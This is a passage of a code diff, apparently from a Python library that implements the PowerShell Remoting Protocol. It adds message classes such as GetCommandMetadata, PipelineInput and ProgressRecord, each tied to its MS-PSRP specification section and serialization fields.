     552 + ("runspace_id", ObjectMeta("G", name="PSEventArgs.RunspaceId")),
     553 + )
     554 + self.event_id = event_id
     555 + self.source_id = source_id
     556 + self.time = time
     557 + self.sender = sender
     558 + self.args = args
     559 + self.data = data
     560 + self.computer = computer
     561 + self.runspace_id = runspace_id
     562 + 
     563 + 
     564 +class ApplicationPrivateData(ComplexObject):
     565 + MESSAGE_TYPE = MessageType.APPLICATION_PRIVATE_DATA
     566 + 
     567 + def __init__(self, data=None):
     568 + """
     569 + [MS-PSRP] 2.2.2.13 APPLICATION_PRIVATE_DATA Message
     570 + https://msdn.microsoft.com/en-us/library/dd644934.aspx
     571 + 
     572 + :param data: A dict that contains data to sent to the PowerShell layer
     573 + """
     574 + super(ApplicationPrivateData, self).__init__()
     575 + self._extended_properties = (("data", DictionaryMeta(name="ApplicationPrivateData")),)
     576 + self.data = data
     577 + 
     578 + 
     579 +class GetCommandMetadata(ComplexObject):
     580 + MESSAGE_TYPE = MessageType.GET_COMMAND_METADATA
     581 + 
     582 + def __init__(
     583 + self,
     584 + names: typing.Optional[typing.List[str]] = None,
     585 + command_type: typing.Optional[int] = None,
     586 + namespace: typing.Optional[typing.List[str]] = None,
     587 + argument_list: typing.Optional[typing.List] = None,
     588 + ) -> None:
     589 + """
     590 + [MS-PSRP] 2.2.2.14 GET_COMMAND_METADATA Message
     591 + https://msdn.microsoft.com/en-us/library/ee175985.aspx
     592 + 
     593 + :param names:
     594 + :param command_type:
     595 + :param namespace:
     596 + :param argument_list:
     597 + """
     598 + super(GetCommandMetadata, self).__init__()
     599 + self._extended_properties = (
     600 + (
     601 + "names",
     602 + ListMeta(
     603 + name="Name",
     604 + list_value_meta=ObjectMeta("S"),
     605 + list_types=["System.String[]", "System.Array", "System.Object"],
     606 + ),
     607 + ),
     608 + ("command_type", ObjectMeta(name="CommandType", object=CommandType)),
     609 + ("namespace", ObjectMeta(name="Namespace")),
     610 + ("argument_list", ListMeta(name="ArgumentList")),
     611 + )
     612 + self.names = names
     613 + self.command_type = command_type
     614 + self.namespace = namespace
     615 + self.argument_list = argument_list
     616 + 
     617 + 
     618 +class RunspacePoolHostCall(ComplexObject):
     619 + MESSAGE_TYPE = MessageType.RUNSPACEPOOL_HOST_CALL
     620 + 
     621 + def __init__(self, ci=None, mi=None, mp=None):
     622 + """
     623 + [MS-PSRP] 2.2.2.15 RUNSPACE_HOST_CALL Message
     624 + https://msdn.microsoft.com/en-us/library/dd340830.aspx
     625 + 
     626 + :param ci:
     627 + :param mi:
     628 + :param mp:
     629 + """
     630 + super(RunspacePoolHostCall, self).__init__()
     631 + self._extended_properties = (
     632 + ("ci", ObjectMeta("I64", name="ci")),
     633 + ("mi", ObjectMeta("Obj", name="mi", object=HostMethodIdentifier)),
     634 + ("mp", ListMeta(name="mp")),
     635 + )
     636 + self.ci = ci
     637 + self.mi = mi
     638 + self.mp = mp
     639 + 
     640 + 
     641 +class RunspacePoolHostResponse(ComplexObject):
     642 + MESSAGE_TYPE = MessageType.RUNSPACEPOOL_HOST_RESPONSE
     643 + 
     644 + def __init__(self, ci=None, mi=None, mr=None, me=None):
     645 + """
     646 + [MS-PSRP] 2.2.2.16 RUNSPACEPOOL_HOST_RESPONSE Message
     647 + https://msdn.microsoft.com/en-us/library/dd358453.aspx
     648 + 
     649 + :param ci:
     650 + :param mi:
     651 + :param mr:
     652 + :param me:
     653 + """
     654 + super(RunspacePoolHostResponse, self).__init__()
     655 + self._extended_properties = (
     656 + ("ci", ObjectMeta("I64", name="ci")),
     657 + ("mi", ObjectMeta("Obj", name="mi", object=HostMethodIdentifier)),
     658 + ("mr", ObjectMeta(name="mr")),
     659 + ("me", ObjectMeta("Obj", name="me", object=ErrorRecord, optional=True)),
     660 + )
     661 + self.ci = ci
     662 + self.mi = mi
     663 + self.mr = mr
     664 + self.me = me
     665 + 
     666 + 
     667 +class PipelineInput(ComplexObject):
     668 + MESSAGE_TYPE = MessageType.PIPELINE_INPUT
     669 + 
     670 + def __init__(
     671 + self,
     672 + data: typing.Any = None,
     673 + ) -> None:
     674 + """
     675 + [MS-PSRP] 2.2.2.17 PIPELINE_INPUT Message
     676 + https://msdn.microsoft.com/en-us/library/dd340525.aspx
     677 + 
     678 + :param data: The data to serialize and send as the input
     679 + """
     680 + super(PipelineInput, self).__init__()
     681 + self.data = data
     682 + 
     683 + 
     684 +class EndOfPipelineInput(ComplexObject):
     685 + MESSAGE_TYPE = MessageType.END_OF_PIPELINE_INPUT
     686 + 
     687 + def __init__(self) -> None:
     688 + """
     689 + [MS-PSRP] 2.2.2.18 END_OF_PIPELINE_INPUT Message
     690 + https://msdn.microsoft.com/en-us/library/dd342785.aspx
     691 + """
     692 + super(EndOfPipelineInput, self).__init__()
     693 + 
     694 + 
     695 +class PipelineOutput(object):
     696 + MESSAGE_TYPE = MessageType.PIPELINE_OUTPUT
     697 + 
     698 + def __init__(
     699 + self,
     700 + data: typing.Any = None,
     701 + ) -> None:
     702 + """
     703 + [MS-PSRP] 2.2.2.19 PIPELINE_OUTPUT Message
     704 + https://msdn.microsoft.com/en-us/library/dd357371.aspx
     705 + """
     706 + super(PipelineOutput, self).__init__()
     707 + self.data = data
     708 + 
     709 + 
     710 +class ErrorRecordMessage(ErrorRecord):
     711 + MESSAGE_TYPE = MessageType.ERROR_RECORD
     712 + 
     713 + def __init__(self, **kwargs):
     714 + """
     715 + [MS-PSRP] 2.2.2.20 ERROR_RECORD Message
     716 + https://msdn.microsoft.com/en-us/library/dd342423.aspx
     717 + 
     718 + :param kwargs:
     719 + """
     720 + super(ErrorRecordMessage, self).__init__(**kwargs)
     721 + 
     722 + 
     723 +class PipelineState(ComplexObject):
     724 + MESSAGE_TYPE = MessageType.PIPELINE_STATE
     725 + 
     726 + def __init__(self, state=None, error_record=None):
     727 + """
     728 + [MS-PSRP] 2.2.2.21 PIPELINE_STATE Message
     729 + https://msdn.microsoft.com/en-us/library/dd304923.aspx
     730 + 
     731 + :param state: The state of the pipeline
     732 + :param error_record:
     733 + """
     734 + super(PipelineState, self).__init__()
     735 + self._extended_properties = (
     736 + ("state", ObjectMeta("I32", name="PipelineState")),
     737 + ("error_record", ObjectMeta("Obj", name="ExceptionAsErrorRecord", optional=True)),
     738 + )
     739 + self.state = state
     740 + self.error_record = error_record
     741 + 
     742 + 
     743 +class DebugRecord(InformationalRecord):
     744 + MESSAGE_TYPE = MessageType.DEBUG_RECORD
     745 + 
     746 + def __init__(self, **kwargs):
     747 + """
     748 + [MS-PSRP] 2.2.2.22 DEBUG_RECORD Message
     749 + https://msdn.microsoft.com/en-us/library/dd340758.aspx
     750 + """
     751 + super(DebugRecord, self).__init__(**kwargs)
     752 + self._types.insert(0, "System.Management.Automation.DebugRecord")
     753 + 
     754 + 
     755 +class VerboseRecord(InformationalRecord):
     756 + MESSAGE_TYPE = MessageType.VERBOSE_RECORD
     757 + 
     758 + def __init__(self, **kwargs):
     759 + """
     760 + [MS-PSRP] 2.2.2.23 VERBOSE_RECORD Message
     761 + https://msdn.microsoft.com/en-us/library/dd342930.aspx
     762 + """
     763 + super(VerboseRecord, self).__init__(**kwargs)
     764 + self._types.insert(0, "System.Management.Automation.VerboseRecord")
     765 + 
     766 + 
     767 +class WarningRecord(InformationalRecord):
     768 + MESSAGE_TYPE = MessageType.WARNING_RECORD
     769 + 
     770 + def __init__(self, **kwargs):
     771 + """
     772 + [MS-PSRP] 2.2.2.24 WARNING_RECORD Message
     773 + https://msdn.microsoft.com/en-us/library/dd303590.aspx
     774 + """
     775 + super(WarningRecord, self).__init__(**kwargs)
     776 + self._types.insert(0, "System.Management.Automation.WarningRecord")
     777 + 
     778 + 
     779 +class ProgressRecord(ComplexObject):
     780 + MESSAGE_TYPE = MessageType.PROGRESS_RECORD
     781 + 
     782 + def __init__(
     783 + self,
     784 + activity=None,
     785 + activity_id=None,
     786 + description=None,
     787 + current_operation=None,
     788 + parent_activity_id=None,
     789 + percent_complete=None,
     790 + progress_type=None,
     791 + seconds_remaining=None,
     792 + ):
     793 + """
     794 + [MS-PSRP] 2.2.2.25 PROGRESS_RECORD Message
     795 + https://msdn.microsoft.com/en-us/library/dd340751.aspx
     796 + 
     797 + :param kwargs:
     798 + """
     799 + super(ProgressRecord, self).__init__()
     800 + self._extended_properties = (
     801 + ("activity", ObjectMeta("S", name="Activity")),
     802 + ("activity_id", ObjectMeta("I32", name="ActivityId")),
     803 + ("description", ObjectMeta("S", name="StatusDescription")),
     804 + ("current_operation", ObjectMeta("S", name="CurrentOperation")),
     805 + ("parent_activity_id", ObjectMeta("I32", name="ParentActivityId")),
     806 + ("percent_complete", ObjectMeta("I32", name="PercentComplete")),
     807 + ("progress_type", ObjectMeta("Obj", name="Type", object=ProgressRecordType)),
     808 + ("seconds_remaining", ObjectMeta("I32", name="SecondsRemaining")),
     809 + )
     810 + self.activity = activity
     811 + self.activity_id = activity_id
     812 + self.description = description
     813 + self.current_operation = current_operation
     814 + self.parent_activity_id = parent_activity_id
     815 + self.percent_complete = percent_complete
     816 + self.progress_type = progress_type
     817 + self.seconds_remaining = seconds_remaining
     818 + 
     819 + 
     820 +class InformationRecord(ComplexObject):
     821 + MESSAGE_TYPE = MessageType.INFORMATION_RECORD
     822 + 
     823 + def __init__(
     824 + self,
     825 + message_data=None,
     826 + source=None,
     827 + time_generated=None,
     828 + tags=None,
     829 + user=None,
     830 + computer=None,
     831 + pid=None,
     832 + native_thread_id=None,
     833 + managed_thread_id=None,
     834 + write_information_stream=None,
     835 + ):
     836 + """
     837 + [MS-PSRP] 2.2.2.26 INFORMATION_RECORD Message
     838 + https://msdn.microsoft.com/en-us/library/mt224023.aspx
     839 + 
     840 + Only in protocol_version 2.3 and above
     841 + 
     842 + :param kwargs:
     843 + """
     844 + super(InformationRecord, self).__init__()
     845 + self._types = ["System.Management.Automation.InformationRecord", "System.Object"]
     846 + self._extended_properties = (
     847 + ("message_data", ObjectMeta(name="MessageData")),
     848 + ("source", ObjectMeta("S", name="Source")),
     849 + ("time_generated", ObjectMeta("DT", name="TimeGenerated")),
     850 + ("tags", ListMeta(name="Tags", list_value_meta=ObjectMeta("S"))),
     851 + ("user", ObjectMeta("S", name="User")),
     852 + ("computer", ObjectMeta("S", name="Computer")),
     853 + ("pid", ObjectMeta("U32", name="ProcessId")),
     854 + ("native_thread_id", ObjectMeta("U32", name="NativeThreadId")),
     855 + ("managed_thread_id", ObjectMeta("U32", name="ManagedThreadId")),
     856 + ("write_information_stream", ObjectMeta("B", name="WriteInformationStream", optional=True)),
     857 + )
     858 + self.message_data = message_data
     859 + self.source = source
     860 + self.time_generated = time_generated
     861 + self.tags = tags
     862 + self.user = user
     863 + self.computer = computer
     864 + self.pid = pid
     865 + self.native_thread_id = native_thread_id
     866 + self.managed_thread_id = managed_thread_id
     867 + self.write_information_stream = write_information_stream
     868 + 
     869 + 
     870 +class PipelineHostCall(RunspacePoolHostCall):
     871 + MESSAGE_TYPE = MessageType.PIPELINE_HOST_CALL
     872 + """
     873 + [MS-PSRP] 2.2.2.27 PIPELINE_HOST_CALL Message
     874 + https://msdn.microsoft.com/en-us/library/dd356915.aspx
     875 + """
     876 + 
     877 + 
     878 +class PipelineHostResponse(RunspacePoolHostResponse):
     879 + MESSAGE_TYPE = MessageType.PIPELINE_HOST_RESPONSE
     880 + """
     881 + [MS-PSRP] 2.2.2.28 PIPELINE_HOST_RESPONSE Message
     882 + https://msdn.microsoft.com/en-us/library/dd306168.aspx
     883 + """
     884 + 
     885 + 
     886 +class ConnectRunspacePool(ComplexObject):
     887 + MESSAGE_TYPE = MessageType.CONNECT_RUNSPACEPOOL
     888 + 
     889 + def __init__(
     890 + self,
     891 + min_runspaces: typing.Optional[int] = None,
     892 + max_runspaces: typing.Optional[int] = None,
     893 + ) -> None:
     894 + """
     895 + [MS-PSRP] 2.2.2.29 CONNECT_RUNSPACEPOOL Message
     896 + https://msdn.microsoft.com/en-us/library/hh537460.aspx
     897 + 
     898 + :param min_runspaces:
     899 + :param max_runspaces:
     900 + """
     901 + super(ConnectRunspacePool, self).__init__()
     902 + self._extended_properties = (
     903 + ("min_runspaces", ObjectMeta("I32", name="MinRunspaces", optional=True)),
     904 + ("max_runspaces", ObjectMeta("I32", name="MaxRunspaces", optional=True)),
     905 + )
     906 + self.min_runspaces = min_runspaces
     907 + self.max_runspaces = max_runspaces
     908 + 
     909 + 
     910 +class RunspacePoolInitData(ComplexObject):
     911 + MESSAGE_TYPE = MessageType.RUNSPACEPOOL_INIT_DATA
     912 + 
     913 + def __init__(self, min_runspaces=None, max_runspaces=None):
     914 + """
     915 + [MS-PSRP] 2.2.2.30 RUNSPACEPOOL_INIT_DATA Message
     916 + https://msdn.microsoft.com/en-us/library/hh537788.aspx
     917 + 
     918 + :param min_runspaces:
     919 + :param max_runspaces:
     920 + """
     921 + super(RunspacePoolInitData, self).__init__()
     922 + self._extended_properties = (
     923 + ("min_runspaces", ObjectMeta("I32", name="MinRunspaces")),
     924 + ("max_runspaces", ObjectMeta("I32", name="MaxRunspaces")),
     925 + )
     926 + self.min_runspaces = min_runspaces
     927 + self.max_runspaces = max_runspaces
     928 + 
     929 + 
     930 +class ResetRunspaceState(ComplexObject):
     931 + MESSAGE_TYPE = MessageType.RESET_RUNSPACE_STATE
     932 + 
     933 + def __init__(
     934 + self,
     935 + ci: typing.Optional[int] = None,
     936 + ) -> None:
     937 + """
     938 + [MS-PSRP] 2.2.2.31 RESET_RUNSPACE_STATE Message
     939 + https://msdn.microsoft.com/en-us/library/mt224027.aspx
     940 + 
     941 + :param ci: The call identifier
     942 + """
     943 + super(ResetRunspaceState, self).__init__()
     944 + self._extended_properties = (("ci", ObjectMeta("I64", name="ci")),)
     945 + self.ci = ci
Please wait...
Page is in error, reload to recover